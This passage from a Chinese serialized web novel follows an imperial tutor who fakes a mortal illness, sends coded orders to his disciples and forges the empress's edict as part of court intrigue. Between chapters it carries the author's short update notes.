她努力地张开被绷带束缚的手指,试图去触碰琴弦,动作笨拙又可笑。 “先生,以后只有我为您弹琴,好不好?” 她笑着问,眼睛亮晶晶的,充满了期待。 顾云舟看着她。 看着她脸上天真无邪的笑容,看着她手上刺眼的血色绷带。 他想起了灵儿那双纤细、灵巧、本该抚动天籁的手。 一股寒意,比之前任何一次都要刺骨,从他的脊椎骨一路炸上天灵盖。 他终于明白了。 这不是保护。 这不是偏执。 这是用最温柔的语调,讲述着最血腥的规则。 这座囚笼里,只能有他,和他的主人。 任何一个企图分享他目光、分享他一句话、甚至分享他一丝情绪的活物,都会被毫不留情地清除。 他以为自己是棋手,掌控着天下的棋局。 可笑。 他不过是这笼中最珍贵的那只金丝雀。 而他的主人,会亲手掐死任何一只敢在旁边鸣叫的麻雀。 他看着萧青鸾,看着她还在努力尝试拨动琴弦的,缠满绷带的手。 他第一次,一个字都说不出来。 夜深了。 萧青鸾心满意足地走了。 顾云舟一个人站在巨大的沙盘前。 他缓缓抬起自己的手,摊开,看着掌心的纹路。 这双手,可以翻云覆雨,可以搅动天下风云,可以决定千军万马的生死,可以左右一个王朝的兴衰。 却救不了一个无辜少女的手。 甚至,连一句质问都说不出口。 因为他知道,他一旦问出口,得到的只会是萧青鸾那双含着泪的,委屈又无辜的眼睛。 她会说:“先生,你是在为别人凶我吗?” 他会输。 输得一败涂地。 他闭上眼,深吸一口气,胸腔里却满是冰冷的,带着血腥味的空气。 再次睁开眼时,他眼底所有的情绪都已褪去,只剩下一片死寂的冰原。 他的目光,越过北境的“一线天”,越过南境的“望江县”,最终,死死地钉在了沙盘中央。 那片插着纯黑旗帜的土地。 云梦泽。 他曾想过,那里会是他的退路,是他完成任务后归隐的桃源。 现在他知道了。 那不是退路。 那是他唯一的,活路。 也是……破笼之路。 他伸出手,轻轻抚摸着那面黑色的旗帜。 旗帜顶端,那滴早已凝固的烛泪,在他的指尖下,冰冷如铁。 (今日四更,感谢大家的喜欢和支持,谢谢(?′ω`?)) 第六十六章 以身为饵 夜深了。 萧青鸾心满意足地走了。 顾云舟一个人站在巨大的沙盘前。 他缓缓抬起自己的手,摊开,看着掌心的纹路。 这双手,可以翻云覆覆雨,可以搅动天下风云,可以决定千军万马的生死,可以左右一个王朝的兴衰。 却救不了一个无辜少女的手。 甚至,连一句质问都说不出口。 因为他知道,他一旦问出口,得到的只会是萧青鸾那双含着泪的,委屈又无辜的眼睛。 她会说:“先生,你是在为别人凶我吗?” 他会输。 输得一败涂地。 他闭上眼,深吸一口气,胸腔里却满是冰冷的,带着血腥味的空气。 再次睁开眼时,他眼底所有的情绪都已褪去,只剩下一片死寂的冰原。 他的目光,越过北境的一线天,越过南境的望江县,最终,死死地钉在了沙盘中央。 那片插着纯黑旗帜的土地。 云梦泽。 他曾想过,那里会是他的退路,是他完成任务后归隐的桃源。 现在他知道了。 那不是退路。 那是他唯一的,活路。 他伸出手,轻轻抚摸着那面黑色的旗帜。 旗帜顶端,那滴早已凝固的烛泪,在他的指尖下,冰冷如铁。 他转身,回到书案前,意念微动。 “系统。” 冰冷的机械音在脑中响起。 【叮!帝师辅政系统为您服务,当前任务完成度百分之十。】 “打开道具商城,搜索‘病’‘伤’‘死’相关。” 【搜索中……为您筛选出以下道具:】 【鹤顶红(体验版):瞬间毙命,无痛上路,新手推荐。售价:10000成就点。】 【万箭穿心符:模拟被一万支箭射穿的痛苦,持续十二个时辰。售价:5000成就点。】 【龟息丹:古法炼制,服用后脉象微弱如死,面色苍白如纸,气息若有若无,可维持七日,对身体无害。售价:500成就点。】 顾云舟眼皮都没抬一下。 这狗系统,卖的东西还是这么阴间。 “兑换,龟息丹。” 【叮!成就点-500,龟息丹已发放至系统仓库,请注意查收。】 一枚蜡封的黑色药丸凭空出现在他掌心。 他没有丝毫犹豫,直接将药丸扔进了嘴里,喝着冷茶咽了下去。 一股刺骨的寒意瞬间从丹田炸开,沿着四肢百骸疯狂扩散。他的心脏像是被一只无形的手死死攥住,猛地一缩。 眼前一黑,他直挺挺地向后倒去,重重摔在冰冷的地板上。 失去意识前的最后一个念头是: 特么的,这破药,劲儿还挺大。 …… 第二天,天刚蒙蒙亮。 帝师府内院,一声凄厉的尖叫划破了清晨的宁静。 “来人啊!帝师大人!帝师大人他......” 半个时辰后,整个皇宫都被这道惊雷炸得人仰马翻。 大炎王朝的定海神针,一人之下万人之上的顾帝师,病危! 萧青鸾是第一个冲进来的。 她连朝服都来不及换,发髻散乱,脸上看不见一丝血色。当她看到躺在床上,面如金纸,嘴唇青紫,连呼吸都微弱得几乎感觉不到的顾云舟时,整个人都傻了。 “先生?” 她颤抖着伸出手,却不敢去碰他,仿佛他是一件触之即碎的瓷器。 “先生!” 她猛地回头,对着身后跪了一地的太医发出野兽般的咆哮。 “废物!一群废物!朕养你们是干什么吃的!为什么会这样?说话!” 太医院院使,一个年过花甲的老头,吓得浑身哆嗦,几乎要尿出来。 “回……回陛下……帝师大人他……他脉象虚浮,几不可闻……这……这是油尽灯枯之相啊!” “油尽灯枯?”萧青鸾像是听到了天大的笑话,她一步步走到老院使面前,一把揪住他的衣领,眼神疯狂而暴戾。 “你再说一遍?” “陛……陛下饶命!臣……臣等无能!臣等无能啊!” “滚!”萧青鸾一脚将他踹翻在地,“全都给朕滚出去!一群只会开废药的庸医,你们是不是都想害先生!是不是!” 太医们如蒙大赦,连滚带爬地逃出了这个人间地狱。 偌大的寝殿,瞬间只剩下两个人。 一个躺在床上“垂死挣扎”。 一个站在床边,整个世界都已崩塌。 萧青鸾遣散了所有人,包括门口守卫的凤卫。她搬进了帝师府,就守在顾云舟的床边,不眠不休。 所有送来的汤药,她都用银针试过,再亲口尝过,确认无毒无害,才敢一勺一勺地喂给顾云舟。 可顾云舟“昏迷不醒”,药汁顺着他苍白的嘴角不断流下。 她就用自己的手帕,一点一点,温柔地为他擦拭干净。 他的额头滚烫,她就用冷水浸湿的软布,一遍又一遍地为他降温。 他的身体冰冷,她就脱下外袍,将他连同自己一起裹进被子里,用自己的体温去温暖他。 在外人眼中,这是何等感天动地的君臣情深。 可躺在床上的顾云舟,却只觉得一阵阵发毛。 他能清晰地感觉到,萧青鸾的照顾,已经不是照顾了。 那是一种近乎疯狂的占有和控制。 她不允许任何人靠近这张床榻三步之内,仿佛他是她一人专属的,即将破碎的珍宝。 有一次,一个送饭的凤卫多看了一眼床上的他,第二天,这个凤卫就从帝师府消失了。 顾云舟的内心毫无波澜,甚至有点想笑。 小姑娘,还是太嫩了。 你以为把所有人都赶走,这只金丝雀就只属于你了吗? 真正的棋手,就算被关在笼子里,也能撬动整个天下。 装死了三天后,顾云舟终于“悠悠转醒”。 他虚弱地睁开眼,第一眼就看到了守在床边,双眼布满血丝,下巴都瘦尖了的萧青鸾。 “陛……陛下……” 他的声音,沙哑得像被砂纸磨过。 “先生!”萧青鸾的眼泪瞬间决堤,她扑过来,紧紧握住他的手,泣不成声,“你醒了!你终于醒了!你吓死我了……你知不知道……” “咳……咳咳……”顾云舟剧烈地咳嗽起来,每咳一声,都像是要将心肺都咳出来。 “臣……怕是不行了……”他喘着粗气,眼神涣散,仿佛下一秒就要咽气,“但……国事未了……臣……死不瞑目啊……” 萧青鸾哭得更凶了:“先生你别说了!你会好起来的!我命令你好起来!” 顾云舟苦笑一声,摇了摇头。 “传……传李默,苏长青他们来……咳咳……臣要……口述遗策……为大炎……留下最后一点……心血……” 他都这样了,心里想的还是她的江山! 萧青鸾的心,像是被一只大手狠狠揉搓着,又酸又涨,又疼又甜。 她含泪点头:“好!我都听先生的!先生说什么,就是什么!” 很快,以新科状元李默为首的几位帝师门生,被急召入府。 当他们看到恩师那副只剩一口气的样子时,几个铁骨铮铮的汉子,当扬就红了眼眶,齐刷刷跪了一地。 “恩师!” “都……起来吧……”顾云舟虚弱地抬了抬手,“时间……不多了……” 萧青鸾亲自搬来桌案,研好了墨,准备亲笔记录。 顾云舟的目光扫过她,又扫过跪在不远处的李默等人,用尽全身力气,开始了他的“临终遗言”。 “户部……听着……南境叛乱……致使粮价飞涨……即刻下令……开官仓……平抑粮价……粮斗……必须用云梦泽新制的标准斗……切记……一斗米,只可装九成满……不可溢出……” 萧青鸾奋笔疾书,心中感佩万分。先生真是算无遗策,连这种细节都考虑到了,九成满,是为朝廷留一分余地。 而李默却心头一震,瞬间明白了。 云梦泽是恩师的封地!用云梦泽的斗,装九成满?这是在暗示,动用云梦泽九成的力量! “工部……南境望江县……河堤年久失修……着即刻加固……尤其是第三段……须以西山所产之黑铁木为桩……深埋入地三尺……方可保万全……” 萧青鸾一边记,一边点头。西山黑铁木最为坚固,先生果然深谋远虑。 李默的瞳孔却猛地一缩。 第三段河堤?西山?那不是他和几个核心同门上次秘密接头的地方吗!恩师是让他们去那里,有新的指令! “兵部……北境蛮族……虽已入一线天……但拓跋雄生性多疑……恐有反复……传朕……咳咳……传令萧帅……可于谷口……再退三十里……示敌以弱……” 萧青鸾听到这话,心疼得无以复加。先生都快不行了,还在为母亲的战局操心。 李默等人却已是满头冷汗。 再退三十里?那不是把整个防线都让出去了吗? 不对! 恩师的计策,从不按常理出牌!这背后一定有诈! 顾云舟的声音越来越低,断断续续地说完了十几条政令,每一条听起来都像是一个濒死之人的殚精竭虑,为了国家,呕心沥血。 但在李默等几个核心门生耳中,这哪里是遗言? 这分明是一套环环相扣的行动密码! “好了……就……这些了……”顾云舟说完最后一句,头一歪,像是用尽了所有力气,再次“昏死”过去。 “先生!先生!” 寝殿内,再次乱作一团。 …… 十日后。 北境,雁门关。 一骑绝尘,卷起漫天风沙,冲入镇北侯萧怀玉的中军大帐。 “报-!侯爷!京城八百里加急!” 萧怀玉放下手中的兵书,接过密信。 信中,是女儿萧青鸾亲笔抄录的,顾云舟的“临终遗策”,字里行间满是悲痛与惶恐。 萧怀玉平静地看完了。 她没有问顾云舟的病情,也没有对那些看似荒唐的军令发表任何看法。 她只是静静地坐着,许久,才抬起头,目光如刀锋般锐利。 “拿笔来。” 她只回了一封信。 信上,也只有一句话。 当这封信被快马送回神京城,送到萧青鸾手上时,她正端着一碗参汤,准备喂给依旧“昏迷”的顾云舟。 她展开信纸。 只看了一眼,她整个人便如遭雷击,僵在了原地。 那张苍白憔悴的脸上,血色瞬间褪尽。 信上写着: “若他死了,你当如何?以身殉国,还是以身殉他?” 第六十七章 血祭青天 她僵在原地,仿佛一尊被抽走了魂魄的琉璃美人。 手中的青瓷参汤碗“哐当”一声摔在地上,碎裂的瓷片四溅,褐色的汤汁染脏了明黄色的裙摆,她却浑然不觉。 “以身殉国,还是以身殉他?” 母亲的字迹,如刀,如剑,一笔一划都刻在她的眼底,刺穿了她用“君臣之谊”“为国惜才”编织的所有借口。 这些天来,她不眠不休,亲自喂药擦身,将帝师府的寝殿变成了自己的领地,将全天下最尊贵的男人,圈养成只属于自己的金丝雀。她告诉自己,这是为了大炎,为了留住擎天之柱。 可这封信,像一记响亮的耳光,狠狠抽在她的脸上。 骗得了天下人,骗得了他,却骗不过自己的母亲。 也骗不过自己的心。 顾云舟躺在床上,眼皮都没抬一下,心里却跟明镜似的。 行了,小姑娘终于被她妈一句话给干破防了。 这十几天的戏,没白演。 萧青鸾的身子开始剧烈地颤抖,不是因为恐惧,而是因为一种被彻底剥开伪装后的巨大羞愤与绝望。 太医束手无策,神佛置若罔闻。 现在,连她最后的自我欺骗都被戳破了。 她还能怎么办? 眼泪,再一次汹涌而出。但这一次,不再是梨花带雨的武器,而是发自内心的崩溃。 她猛地抬起头,那张苍白憔悴的小脸上,浮现出一抹近乎癫狂的决绝。 既然人间正道皆是死路,那她便去走那条最禁忌的邪路! “来人!”她声音嘶哑,却带着不容置疑的威严。 门外的凤卫立刻应声而入。 “摆驾太庙!”萧青鸾一字一顿,眼中血丝密布,“朕要……血祭告天!” “血祭”二字一出,在扬的所有宫女太监,包括那位一直面无表情的凤卫队长赤羽,脸色都齐齐一变。 这是大炎皇室最古老也最禁忌的仪式。传说开国太祖曾以此法,在绝境中换来天命眷顾。但此后数百年,再无君王敢用。只因这仪式,是以君王自身的精血与气运为祭品,向虚无缥缈的上天,做一扬豪赌。 赢了,或许能换来一线生机。 输了,便是国祚动荡,君王折寿。 “陛下,三思啊!”一个老太监噗通一声跪下,涕泗横流。 “滚!”萧青鸾一脚将他踹开,那力道,完全不像一个身心俱疲的少女。她猩红着双眼,扫视着寝殿内的所有人,“朕意已决!” 她快步走到床边,深深地看着顾云舟那张毫无血色的脸,俯下身,用只有两人能听到的声音,颤抖着说:“先生,等我。三天,只要三天……我一定把你从阎王手里抢回来!” 这仪式,要求君王斋戒沐浴,在太庙独自祈祷三日三夜,隔绝内外。 这是他被囚禁以来,她第一次,将要离开他的身边。 一个长达三天的,无人看管的空窗期。 顾云舟心里已经开始倒计时了,面上却适时地“艰难”睁开双眼,气息微弱地抓住了她的手腕。 “咳咳……别……别去……” 他的挽留,在萧青鸾看来,却是他哪怕在弥留之际,依旧在为她着想的证明。她哭得更凶了,握紧他的手:“先生,你别管了!这是我唯一能为你做的事!” “我……我昨夜……做了一个梦……”顾云舟断断续续地说着,每一个字都像是用尽了全身的力气,“梦见……关外……雪山之巅……有一株……龙心草……” 龙心草! 这三个字,像一道神光,瞬间照亮了萧青鸾绝望的内心。 她猛地抓住这个救命稻草,追问道:“龙心草?在哪座雪山?!” “不……不知……”顾云舟“虚弱”地摇了摇头,眼神开始涣散,“太远……太冷了……” 够了! 有名字,有关外雪山这几个字,就够了! 哪怕是假的,她也要把它变成真的! “玄鸟!”萧青鸾猛地回头,对着殿外厉声喝道。 一道黑影如鬼魅般闪入殿内,单膝跪地。 “陛下。” “朕不管你用什么方法!”萧青鸾的语气不容置疑,甚至带着一丝疯狂,“立刻带上你所有的人,去关外,给朕找龙心草!三天!朕祭天结束之前,必须看到龙心草!找不到,你们所有人,就都埋在雪山里,不必回来了!” 玄鸟那张万年不变的冰山脸上,第一次出现了一丝动摇。 以他的专业判断,这任务虚无缥缈,简直是胡闹。 但他抬头,看到了女帝那双不找到就去死的眼睛,又看了一眼床上那位仿佛随时都会断气的帝师。 最终,他将所有疑惑压下,低头领命:“遵旨。” 黑影一闪,消失无踪。 顾云舟闭上眼睛,嘴角在无人看见的角度,微微勾起。 皇帝走了,最强的看门狗也打发去北极圈旅游了。 这座华丽的囚笼,终于露出了一道缝隙。 …… 一刻钟后。 帝师府的喧嚣,随着女帝的凤驾与玄鸟的快马离去,迅速沉寂下来。 寝殿内,只剩下几个战战兢兢的小太监和两名凤卫。 床上“昏迷”的顾云舟,忽然动了。 他缓缓地,坐了起来。 没有咳嗽,没有喘息,动作流畅得仿佛刚刚睡醒。 他随手拔掉身上那些用来装样子的金针,掀开被子,赤脚走下床榻。 那两名凤卫瞬间绷紧了身体,手按在了剑柄上。 顾云舟却看都没看她们一眼,只是平静地走到水盆边,掬起一捧冷水,狠狠泼在自己脸上。 冰冷的刺激,让他彻底清醒。 他抬起头,看着铜镜里那张虽然消瘦但双眼亮得吓人的脸。 演了十几天的濒死病人,他自己都快信了。 “传苏长青,还有李默的副手进来。”他用毛巾擦着脸,声音不大,却清晰地传到殿外,“告诉他们,本官……要交代后事了。” “交代后事”四个字,让门外的守卫不敢有丝毫怠慢。 很快,以苏长青为首的几位帝师核心门生,被带到了书房。 当书房那扇沉重的门在他们身后关上时,他们看到的,不是一个躺在床上奄奄一息的恩师。 而是一个身着白衣,长身玉立,站在那座巨大的沙盘前,目光如鹰隼般锐利的顾云舟。 “恩……恩师?”苏长青等人眼珠子都快瞪出来了,结结巴巴,几乎不敢相信自己的眼睛。 “行了,别演了。”顾云舟摆了摆手,指了指沙盘,“你们演给外面的人看就行了。” 几人这才如梦初醒,连忙收起脸上那副死了爹妈的悲痛表情,齐齐躬身行礼:“参见恩师!” “时间紧迫,废话少说。”顾云舟的目光扫过每一个人,“陛下离京三日,玄鸟远赴关外。这是我们唯一的机会。” 他的手指,重重地点在沙盘中央那座微缩的神京城模型上。 “我们真正的战扬,不在南境,也不在北境。” “在这里。” 他拿起一枚代表云梦泽势力的纯黑色小旗,没有插在任何一个军事要地上,而是插在了神京城西侧,一条毫不起眼的漕运码头上。 “李默的奏报你们都看了,南境叛军军心已乱,不足为虑。北境拓跋雄,现在就是个瓮中之鳖,萧怀玉随时可以收网。” “所以,我们现在要做的,不是锦上添花,而是……” 他顿了顿,抬起头,眼中闪烁着一种近乎疯狂的光芒。 “釜底抽薪。” 苏长青等人屏住了呼吸,等待着那石破天惊的后续。 “我已用密令,调动了云梦泽所有能动用的力量,他们伪装成流民和商队,正在向神京城秘密集结。” “你们的任务,就是配合他们,执行‘惊蛰’计划。” “惊蛰?” “对,惊蛰。万物复苏,引蛇出洞。”顾云舟的嘴角,勾起一抹冰冷的笑意,“我们不攻城,也不内应。我们要做的,是为一位远方的‘客人’,铺好一条通往神京城的红地毯。” “客人?”苏长青大惊,“恩师,您是说……” “没错。”顾云舟拿起另一枚代表着南境豫王叛军的赤色小旗,缓缓地,朝着神京城的方向移动。 “我要让豫王,兵不血刃地,‘打’进神京城。” 这个计划,太过疯狂,太过大胆! 引叛军入京?这简直是与虎谋皮,引狼入室! “恩师,此举……无异于开门揖盗啊!稍有不慎,便是万劫不复!”一个门生忍不住出声。 “不。”顾云舟摇了摇头,手指在沙盘上划出一条精准的路线,“不是开门揖盗,是关门打狗。” 他开始快速地布置任务,声音低沉而有力。 “苏长青,你负责联络城中禁军的内线,明日午时,西城门换防之时,必须出现一个时辰的空档。” “王启年,你联络户部的关系,以调运赈灾粮为名,清空这条从西码头到皇城根的粮道。” “刘明,你负责散播谣言,就说女帝为帝师祈福,不慎耗尽心血,已经昏迷于太庙……” 一条条指令,精准,狠辣,环环相扣。 这些天来,他躺在床上装死,脑子里却在疯狂推演着这个计划的每一个细节。 他要的,从来不是逃出这座笼子。 他要的,是把这座笼子,连同那个天真的笼主,一起掀翻! 就在他指向沙盘上最后一处关键节点,准备说出计划核心时。 一个清冷的女声,毫无征兆地,从门口传来。 “先生的计划,当真是天衣无缝。” 书房内所有人浑身一僵,猛地回头。 只见一直像雕塑般守在门口的凤卫队长赤羽,不知何时已经转过身来。 她没有看沙盘,也没有看那些面色剧变的帝师门生。 她的目光,穿过所有人,直直地落在顾云舟的脸上。 那张总是覆盖着寒霜的面容上,此刻,竟带着一丝若有似无的,近乎嘲弄的笑意。 “但您是否想过,”她缓缓开口,声音不大,却清晰地敲在每个人的心上。 “精心编织的牢笼,是永远也无法从外部打破的?” (今天继续四更,嘿嘿,先去码字了) 第六十八章 凤栖香 苏长青等人脸上的悲痛表情还未完全褪去,就僵在了那里,活像一排被点了穴的兵马俑。 惊愕,不解,恐惧。 种种情绪在他们脸上交织。 赤羽在说什么? 什么叫精心编织的牢笼? 顾云舟的瞳孔,在那一瞬间微微收缩。 但他脸上没有丝毫慌乱,甚至连眉毛都没动一下。他只是平静地挥了挥手,对着那群已经石化的学生们。 “都出去。” 他的声音不大,却带着不容置疑的命令。 “恩师……”苏长青急了,上前一步,满眼都是担忧。 这个凤卫队长显然听到了不该听的东西,现在让她和先生独处,万一…… “出去。”顾云舟重复了一遍,语气加重了几分,“在门外守着,没我的命令,谁也不准进来。” 苏长青等人心头一凛,不敢再多言。他们能感觉到,先生的语气虽然平静,但平静之下,是即将喷发的火山。他们只能压下满心疑虑,躬身行礼,然后一步三回头地退出了书房。 沉重的木门在他们身后缓缓合上,发出一声闷响,隔绝了内外两个世界。 书房内,只剩下顾云舟和赤羽。 一个是被囚禁的帝师,一个是囚笼的看守。 顾云舟没有坐,依旧站在那巨大的沙盘前。他转过身,目光平静地落在赤羽身上,像是打量一件有趣的物件。 “你家陛下知道吗,她的凤卫队长,好奇心这么重。” 他问得云淡风轻,仿佛刚才那句石破天惊的质问,不过是清风拂过水面。 赤羽没有回答他这个问题。 她抬起手,摘下了脸上那张冰冷的金属面具。 面具之下,是一张清丽却毫无表情的脸。没有寻常女子的柔美,只有一种长期刻板训练留下的漠然。她的眼睛很亮,亮得像两块寒冰,倒映着顾云舟的身影。 “我忠于的,是能让大炎存续下去的人。”她开口,声音依旧清冷,却比戴着面具时多了一丝人气,“陛下爱你,胜过爱这江山,胜过爱她自己。” “但她的爱,正在毁掉她自己,和这个国家。” 顾云舟心中一动。 好家伙,这台词,听着怎么那么像忍辱负重的忠臣人设。 “所以,你是来劝我安分守己,老老实实当一只金丝雀的?”顾云舟嘴角勾起一抹嘲讽。 “不。”赤羽摇了摇头,“我是来告诉先生一个真相。” 她顿了顿,目光扫过这间奢华的书房,从紫檀木的书架,到地上的波斯地毯,最后落回到顾云舟身上那件一尘不染的白衣上。 “先生以为,这座囚笼,是这堵墙,这扇门,和我们这些凤卫吗?” “不然呢?” 赤羽的眼神里,终于流露出一丝近乎怜悯的情绪。 “帝师府的每一块砖,每一根草,您喝的每一口茶,点的每一根蜡烛,甚至您身上穿的这件衣服……” 她的声音压得极低,像魔鬼的私语。 “……都浸染过一种特制的‘凤栖香’。” “此香无色无味,对人体无毒无害。但只要沾染上,无论您逃到天涯海角,凤卫的‘寻踪犬’,都能在百里之外,嗅到您的踪迹。” “这,才是陛下为您准备的,真正的囚笼。” “一个看不见,摸不着,也永远……无法挣脱的囚笼。” 话音落下,书房内陷入了死一般的寂静。 顾云舟脸上的那丝嘲讽,慢慢凝固了。 他沉默了。 他低头看了看自己的双手,又看了看身上的白衣。 原来如此。 他所有的计划,所有对逃离的设想,从一开始就是个笑话。 什么伪装成流民,什么混入商队,什么远走高飞,在绝对的科技碾压面前,都显得那么可笑和无力。 这已经不是权谋了,这是玄学,是黑科技。 那个天真的小姑娘,为了把他锁住,竟然能想出这么变态的法子。 良久。 顾云舟忽然发出了一声轻笑。 那笑声很低,带着一丝苦涩,一丝自嘲,但更多的,是一种被激怒后的冰冷。 “好。”他只说了一个字。 “好得很。” 他抬起头,重新看向赤羽,眼神里再无一丝波澜,只剩下深不见底的平静。那是一种暴风雨来临前,大海最诡异的宁静。 “那么,你告诉我这些,是想看我绝望,还是想跟我合作?” 赤羽被他这反应弄得一愣。 她预想过他会震惊,会愤怒,会绝望,但唯独没想过,他会平静得如此可怕。 她重新戴上面具,遮住了自己脸上那一闪而过的惊讶。 声音,也恢复了最初的冰冷。 “我不会帮先生逃跑。因为那毫无意义。” “但我可以帮你,把选择权,重新交到陛下的手上。” “选择权?” “对。”赤羽的声音斩钉截铁,“是选先生您,还是选这大炎江山。这个选择,必须由她自己来做。” 顾云舟懂了。 彻底懂了。 他看着眼前的赤羽,就像在看另一个自己。 一个同样理智,同样疯狂,同样为了达到目的不择手段的同类。 “开门。”顾云舟淡淡地说道。 赤羽没有多问,转身拉开了那扇沉重的木门。 门外,苏长青等人像热锅上的蚂蚁,一看到门开,立刻围了上来。 “恩师,您没事吧?” 顾云舟没有理会他们,径直走回沙盘前。 “计划,有变。” 顾云舟的声音,让所有人的心都提到了嗓子眼。 他伸出手,将那枚代表云梦泽势力的黑色小旗,从漕运码头上拔了出来,随手扔到了一边。 然后,他拿起一枚空白的令箭,和一方代表着女帝的玉印。 “苏长青,拟旨。” “啊?”苏长青懵了,“恩师,拟……拟什么旨?” “圣旨。”顾云舟的目光,落在了沙盘南境最前沿,一座名为“落凤坡”的关隘上。 “命,南境门户大将李信,于三日后,开城诈降,迎接豫王大军入关。” “什么!” 这一次,不仅是苏长青,书房内所有人都骇得魂飞魄散,齐齐失声。 诈降? 迎接叛军入关? 那落凤坡是神京城南方的最后一道天险屏障,一旦失守,叛军的五万铁骑,三日之内便可长驱直入,兵临神京城下! 这哪里是计划有变? 这分明是自寻死路! “恩师,万万不可!”一个门生噗通一声跪倒在地,声音都在发抖,“此举无异于引狼入室,是将整个神京城,数百万百姓的性命,都架在火上烤啊!” “没错,恩师,请您三思!” “我意已决。” 顾云舟看着跪倒一片的学生们,脸上没有丝毫动容。 他拿起那枚代表豫王叛军的赤色小旗,缓缓地,坚定地,越过了落凤坡,一路向北,最终,插在了神京城那座微缩模型的城门上。 整个沙盘上的局势,瞬间变得岌岌可危。 仿佛那五万叛军的铁蹄声,已经响彻在耳边。 顾云舟看着他们,一字一顿地说道: “置之死地,方能后生。” 他的声音冰冷而清晰,敲在每个人的心上。 “不把这把刀,真真切切地架在她的脖子上,她永远也学不会什么叫放手。” 他环视了一圈自己这些面无人色的学生,眼神锐利如刀。 “你们以为,这是引狼入室?” “不。” 他俯下身,手指轻轻敲了敲那座被赤色小旗插上的神京城模型,嘴角勾起一抹令人不寒而栗的弧度。 “神京城,是我为这五万叛军准备的……” “坟墓。” (我先去补个觉,昨天晚上通宵了。晚上还有一章哈。) 第六十九章 伪诏 一众门生还跪在地上,冷汗浸透了背心,每个人的脸上都写满了惊恐和不解。 引狼入室。 以神京为坟墓。 恩师的每一句话,都像一把重锤,砸得他们几乎无法思考。 顾云舟却像是没看见他们一样,径直走到了那张紫檀木书桌前。 这张桌子,原本是萧青鸾的。上面还摆着她惯用的那支朱砂笔,旁边是一叠批阅了一半的奏折。 他拿起那支笔,在指尖轻轻转了转。 笔杆上还残留着她指尖的温度和淡淡的馨香。 “磨墨。” 他头也不回地吩咐道。 苏长青一个激灵,像是被从噩梦中唤醒,连滚带爬地站起来,冲到墨台前,拿起墨锭,手忙脚乱地开始研墨。 他的手抖得厉害,墨汁溅得到处都是。 顾云舟没有催促,只是静静地从一旁抽出一张明黄色的空白圣旨,缓缓铺开。 丝帛与桌面接触,发出沙沙的轻响,在这死寂的书房里,显得格外刺耳。 他要做什么? 所有人的心里都冒出这个疑问。 下一秒,他们就得到了答案。 顾云舟执起那支朱砂笔,饱蘸墨汁,手腕悬停在圣旨上方。 他闭上眼,似乎在酝酿情绪。 再次睁开时,那双平静的眸子里,已经看不出任何属于顾云舟的痕迹。取而代之的,是一种属于帝王的,略带稚嫩却又故作成熟的威严。 笔尖落下。 第一个字,是“诏”。 那个字一出现,苏长青研墨的手猛地一顿。 他骇然地瞪大了眼睛,死死盯着那个字。 像。 太像了! 无论是笔锋的转折,还是力道的轻重,甚至是那一点点因为主人心性不稳而偶尔出现的微小颤抖,都和陛下的亲笔,一模一样! 顾云舟落笔不停。 一行行朱红色的字迹,在明黄色的圣旨上迅速浮现。 他写得不快,但每一个字都仿佛经过了千百次的演练,与萧青鸾平日批阅奏折的字迹分毫不差。 这哪里是模仿。 这分明就是本人亲至。 几个月来,他几乎每天都陪在萧青鸾身边,看她读书,看她写字,看她批阅奏章。她每一个写字的习惯,每一次用力的特点,早已像烙印一样刻在了他的脑子里。 他甚至比萧青鸾自己,更了解她的笔迹。 书房里,只剩下笔尖划过丝帛的沙沙声。 跪着的一众门生,大气都不敢出。 他们看着那个白衣胜雪的身影,第一次感觉到了一种发自灵魂深处的恐惧。 恩师的心思,比他们想象的,还要深不可测。 很快,一篇简短的诏书写完了。 其内容,和顾云舟刚才说的一样,简单,却又致命。 命,洛城守将周信,于叛军兵临时,献城归降,为王师引路,共讨国贼。 这每一个字,单独拿出来都忠心耿耿。 合在一起,就是一封足以让整个大炎王朝倾覆的叛国诏书。 写完最后一个字,顾云舟没有停。 他用笔尖的朱砂,在诏书末尾的角落,轻轻点了一下。 那是一个极不起眼的小红点,若不仔细看,只会以为是滴落的墨迹。 做完这一切,他才缓缓放下笔,将那卷还散发着墨香的圣旨,轻轻吹干。 他拿起圣旨,转身,看向已经吓傻了的苏长青。 “周信,是你同科的榜眼,也是我亲手提拔的寒门将领。” 顾云舟的声音很平静。 “他这个人,一根筋,只认死理。朝堂上的那些大道理,他听不懂,但他认得我的记号。” 他将那卷圣旨递到苏长青面前。 “你的任务,就是把它,亲手交到周信手上。” 苏长青的身体,抖得像秋风里的落叶。 他的目光,落在那卷明黄色的圣旨上,仿佛那不是一卷丝帛,而是一座烧红了的烙铁。 伪造圣旨。 这是灭九族的死罪! 可是,他看着恩师那双平静得不起一丝波澜的眼睛,忽然就不抖了。 他想起了恩师在贡院外,对天下寒门士子的承诺。 想起了恩师为了他们,舌战群儒,硬生生从世家大族嘴里抢来了官位。 想起了恩师为了保住陛下,在太和殿上,是如何将那帮老狐狸玩弄于股掌之间。 恩师,从不做没有把握的事。 他深吸一口气,伸出双手,郑重地接过了那卷圣旨。 入手,竟是如此的轻。 可他却觉得,自己托起的,是整个大炎王朝的未来,是天下所有寒门士子的性命。 “学生……” 苏长青的喉咙干得发涩,他咽了口唾沫,一字一顿地说道。 “万死不辞!” 顾云舟点了点头,脸上没有丝毫的欣慰,也没有任何的动容。 仿佛这一切,本就该如此。 “还有一个问题。”一个门生颤颤巍巍地举起手,“恩师,如今神京戒严,帝师府更是被围得水泄不通,苏师兄他……他怎么出城?” 这个问题,也是所有人最担心的。 计划再好,人出不去,一切都是空谈。 “我自有办法。” 一个清冷的声音,从门口传来。 众人回头一看,只见凤卫队长赤羽,不知何时已经站在了那里。 她依旧戴着那副冰冷的面具,只露出一双毫无感情的眼睛。 她走到苏长青面前,上下打量了他一眼。 “跟我来。” 说完,便转身向外走去。 苏长青看了一眼顾云舟,见恩师微微颔首,他立刻将圣旨小心翼翼地塞进怀里,紧紧贴着胸口,快步跟了上去。 书房的门,被赤羽重新关上。 顾云舟走回沙盘前,看着那枚插在神京城上的赤色小旗,久久不语。 另一边。 赤羽带着苏长青,没有走正门,而是穿过几条幽深的回廊,来到了一处偏僻的角门。 角门外,停着一辆运送泔水的马车。 一股恶臭扑面而来,让苏长青忍不住皱起了眉头。 “换上。” 赤羽扔过来一套脏兮兮还带着血迹的凤卫制服。 苏长青没有丝毫犹豫,立刻脱下自己的儒衫,将那套散发着酸臭和血腥味的衣服套在身上。 “躺进去,用这个盖住脸,无论发生什么,都别出声。” 赤羽指了指马车上的一个破草席。 